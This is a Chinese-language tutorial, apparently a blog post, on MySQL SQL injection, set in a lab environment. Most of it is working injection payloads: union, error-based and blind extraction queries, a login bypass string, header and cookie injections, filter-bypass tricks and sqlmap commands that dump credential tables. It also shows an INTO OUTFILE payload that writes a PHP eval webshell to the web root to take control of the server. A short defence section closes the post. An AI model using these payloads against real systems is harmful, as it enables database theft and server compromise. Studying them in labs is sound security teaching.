一、背景
SQL注入漏洞是一種常見的軟件安全問題,它發生在應用程序的數據庫層中。其核心原理是將用戶輸入的數據當做代碼來執行,違反了“數據與代碼分離”的原則。具體來說,攻擊者通過構造惡意的SQL查詢語句,使得應用程序在執行SQL查詢時,將攻擊者的惡意代碼當作正常的SQL查詢語句執行,從而獲取敏感數據或者破壞系統。
攻擊者利用SQL注入漏洞,可以非法獲取網站控制權,甚至獲取用戶的敏感信息。因此,了解SQL注入漏洞的原理、發現方法以及防護措施是非常重要的。
接下來我們了解一下SQL注入發生的原理:
二、原理
接下來我們以MySql數據庫為例,MySQL數據庫有一個特殊的結構是information_schema數據庫,information_schema數據庫的有如下結構:
information_schema
???? tables
???????? table_schema(表對應的數據庫)
???????????? table_name (所有表名)
???? columns
???????? table_schema(表對應的數據庫)
???????????? table_name (所有表名)
???????????? column_name (所有列名)
???? schemata (包含所有數據庫的名)
???????? schema_name 數據庫名
2.1 我們以正常的SQL為例
例如:select * from tb where username like “%${name}%”;這是以MyBatis為例,在查詢數據庫的時候使用 ${} 維符號實現SQL語句拼接,此時程序輸入參數name=“測試” 那么在業務SQL中會拼接如下:select * from tb where username like “%測試%”;
正因為 ${} 這樣直接使用字符串替換且未對用戶輸入參數進行處理的方式存在,攻擊者就可以構造一些惡意的代碼比如輸入name =1%" or 1=1 --+ 這樣拼接的SQL就會如下:select * from tb where username like “%1%” or 1=1 --+%"; 這樣SQL語句在直接username like "%1%"沒有查詢到值的情況下,就會執行where 1=1,就會查到數據庫中其他所有的值。
基于如上的原理我們可以構造更加復雜的SQL語句,實現獲取更多敏感數據,甚至進一步入侵網站。
2.2 對SQL注入產生原因進行分析
當web應用向后臺數據庫傳遞SQL語句進行數據庫操作時,如果對用戶輸入的參數沒有經過嚴格的過濾處理,那么攻擊者的輸入就會直接被數據庫引擎執行,獲取或修改數據庫中的數據。此外,如果代碼中進行了過濾,但是過濾不嚴格,攻擊者還可以通過控制參數和拼接語句來猜解數據庫和繞過認證。
接下來我們演示一下如何發現和利用SQL注入漏洞
三、漏洞發現及利用
SQL注入需要遵循以下步驟,首先發現注入點,第二、獲取數據庫信息,第三、獲取對應數據庫表信息、第四、獲取某一個具體表信息,第五,獲取某一個表字段信息
3.1 聯合注入
主要是采用數據庫字段union ,聯合另外一個SQL進行執行,讓正常的業務SQL執行沒有返回值,那么就會將union聯合的SQL執行并回顯,
就比如:
id=0’ union select 1,2,concat_ws(‘-’,user(),database(),version()) --+ 使用聯合注入查看數據庫名稱
id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+ 現在我們知道數據庫是security,然后我們要查看這個數據庫有哪些表
id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘user’ --+ 查看這個表中有哪些列內容
id=0’ union select 1,(select group_concat(username,password) from users),user() --+ 查詢具體表中的數據,然后通過串聯成一個字符串進行顯示
//注意在使用查詢的時候,如果有字段是關鍵字,會導致查詢報錯怎么辦,使用 table.column 及在寫查詢行數據的時候 表名.字段名 這樣可以避免 字段是關鍵字的問題。
3.2 報錯注入
在許多情況下,Web程序沒有正常顯示錯誤回顯,這使得我們可以利用報錯注入的方式來進行SQL注入。具體來說,攻擊者通過構造特殊的SQL語句,插入惡意代碼,嘗試觸發數據庫報錯并顯示報錯信息。然后,攻擊者根據報錯信息判斷注入是否成功,并獲取到數據庫中的敏感信息。需要注意的是,報錯注入的使用場景一般是在頁面無法顯示數據庫的信息,但是是有報錯內容的。
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))-- - 查詢數據庫
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name=‘ctf’)))-- - 查詢表
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(flag) from ctf)))-- - 查詢字段
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - 由于字段過長進行字段拼接
3.3 布爾盲注
攻擊者通過構造特定的SQL語句,通過判斷某個條件的真假來獲取數據庫中的信息。在不知道數據庫返回值的情況下對數據中的內容進行猜測,實施SQL注入。基于布爾的盲注指的是Web的頁面僅僅會返回True和False。那么布爾盲注就是進行SQL注入之后然后根據頁面返回的True或者是False來得到數據庫中的相關信息。
http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>95)-- -
回顯正常,database()第一個字母ascii大于95
http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>120)-- -
回顯異常,database()第一個字母ascii小于120
3.4 時間盲注
這種攻擊方法根據頁面的響應時間來判斷是否存在注入。具體來說,當頁面出現延時響應,且響應時間與設定的時間函數一致,則表示前半部分的猜測正確,若出現查詢直接返回結果,頁面響應未出現延遲,則說明未執行到時間函數的部分
http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>99,1,sleep(3))-- -
頁面響應無卡頓,database()第一個字母ascii大于99
http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -
頁面響應卡頓3秒,database()第一個字母ascii小于120
3.5 直接寫入php木馬文件
通過SQL語句向指定路徑寫入文件
http://192.168.244.100:83/Less-1/?id=1’ union select 1,‘<?php eval($_POST[1]);phpinfo();?>’,3 into outfile ‘/var/www/html/upload/kkk.php’-- - 向一個指定路徑下下入kkk.php ,內容就是PHP的一句話木馬
password=123&username=1’union%0bselect%0b’<?=eval($_POST[1]);?>‘,1%0binto%0boutfile%0b’/var/www/html/x.php’%23 也是向指定目錄下寫入PHP的一句話木馬
這樣就可以使用中國蟻劍進行連接,從而控制服務器的目的。
3. 6萬能密碼
再知道用戶名不知道密碼的情況下,構造SQL語句屏蔽后續驗證密碼的SQL語句
http://192.168.244.100:83/Less-11/
用戶名: admin’ or 1#
密碼: 隨便輸入
登陸后下翻頁面可以看到SuccessFully
3.7 UA頭&Cookie注入
UA頭注入
http://192.168.244.100:83/Less-18/
開啟抓包
用戶名: admin
密碼: admin
登陸
在包體中更改UA頭部分,單引號顯示報錯
然后更改并閉合UA頭
1’,1,updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可達到報錯注入的效果
3.9 Cookie注入
http://192.168.244.100:83/Less-20/
用戶名: admin
密碼: admin
登陸
開啟抓包,刷新界面后
在包體中更改Cookie部分,單引號顯示報錯
Cookie部分替換為
uname=admin’ and updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可達到報錯注入的效果
3.10 異或注入
異或運算的規則是:兩個條件相同(同真或同假)即為假(0),兩個條件不同即為真(1)。同時,對于空值(null)與任何條件的異或運算結果都為null。因此,在SQL注入過程中,通過應用異或邏輯,我們可以改變原有的SQL查詢語句,從而使得原本被過濾或屏蔽的關鍵字能夠被執行
http://192.168.244.100:83/Less-yh/?id=1^(length(database())>0)-- -
http://192.168.244.100:83/Less-yh/?id=1^(length(database())>999)-- -
異或注入 1^ 0 = 1 1^1=0 當后面的語句正確時候無回顯 當后面的語句錯誤時候有回顯
3.11 二次注入
在于知道用戶名,重新注冊用戶的時候,在用戶名上機型設計,讓新用戶登錄可以關聯到原有用戶上面,而不需要原有賬戶的密碼
有一個用戶LTLT 密碼123
我們注冊一個LTLT’# 密碼qwe
當我們登陸進LTLT’#后 更改密碼為kkk
那么就會發現LTLT的密碼被改位kkk了
3.12 虛表登陸
原本數據庫沒有這個信息,我們通過自己構造一個虛擬的用戶數據進入,確保查詢能夠正常返回結果
http://192.168.244.100:83/Less-xb/xb.php
用戶名: xxx’ union select 1,‘admin_LTLT’,‘qwe’-- -
密碼: qwe
原理: 構造了一個虛表,將password列置為我們自定義的字符串
3.13 無列名注入
http://192.168.244.100:83/Less-1/?id=1’ and 0 union select 1,group_concat(
2
),3 from (select 1,2 union select * from ctf)a-- -
在不知道列名的情況下,我們通過聯合表的方法新構造一個table以及表頭,再將我們自定義的列名通過其他方式查詢出來
3.14 使用sqlmap進行注入
#獲取所有數據庫信息
python sqlmap.py -u “url” --dbms=mysql --dbs --batch
#獲取security數據庫下的表信息
python sqlmap.py -u “url” --dbms=mysql -D “security” --tables --batch
#獲取security數據庫下的users表下的列信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --batch
#獲取users表下的字段信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --columns --batch
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” -C “id,username,password” --dump --batch
#若是POST請求
1、使?"–data"參數
python sqlmap.py -u “url” --data “id=1” --dbs --batch
2、將http請求數據保存下來,然后使?"-r"參數進?注?攻擊,注意這里面的post_data.txt是通過bp獲取的提交給服務端的信息
python sqlmap.py -r post_data.txt --dbs --batch
3.15 繞過方法總結
繞過空格: // select//xxx//from//yyy//where//ddd=eee
????括號 select(xxx)from(yyy)where(ddd=eee)
繞過等號: 可以使用 like regexp
繞過注釋符: ||or’0 以閉合后面的單引號
繞過limit 0,1 中的逗號: limit 1 offset 1
繞過ascii: ord
繞過substr: mid left right
四、漏洞防護手段
為了防止報錯注入攻擊,提供了以下方式:
1.使用PreparedStatement:PreparedStatement可以有效避免SQL注入問題,當數據庫在處理一個SQL命令的時候,可以將變量代入指令集,開始實際執行,避免了重復解析SQL的過程。
2.使用存儲過程:存儲過程也可以防止SQL注入,由于存儲過程將查詢和數據操作封裝在一起,因此減少了未經驗證的用戶輸入直接構成SQL命令的可能性。
3.驗證用戶輸入:這是防止SQL注入最基本也是最重要的方法。開發者需要確保所有從用戶接收的輸入都經過嚴格的驗證和過濾,以防止惡意代碼的執行。
4.使用ORM框架:對象關系映射(ORM)框架如Hibernate和MyBatis等,它們可以幫助開發者更好地管理數據庫操作,減少因錯誤使用SQL語句而引發的安全問題。
5.使用參數化查詢:參數化查詢可以有效防止SQL注入攻擊,因為它將查詢和數據分開處理,從而避免了惡意用戶輸入被解析為SQL代碼。
6.限制數據庫權限:為數據庫賬戶設置最小權限原則,可以減少潛在的損害。例如,只給予應用程序賬戶執行其任務所需的最小權限。
7.定期更新和修補系統:這可以幫助及時修復已知的安全漏洞,避免被攻擊者利用。
五、總結
SQL注入漏洞的存在對系統乃至整個服務器都會產生嚴重的危害,有多種方式可以進行SQL注入漏洞的利用,程序在開發過程中零信任用戶的輸入,對其進行嚴格的限制,并且采用市面上成熟的框架和成熟的方法(參數化查詢)進行sql語句的解析。攻防的方法還在不斷的進化,大家對SQL注入有哪些疑問、見解或者最新的攻擊方式,請評論區進行留言。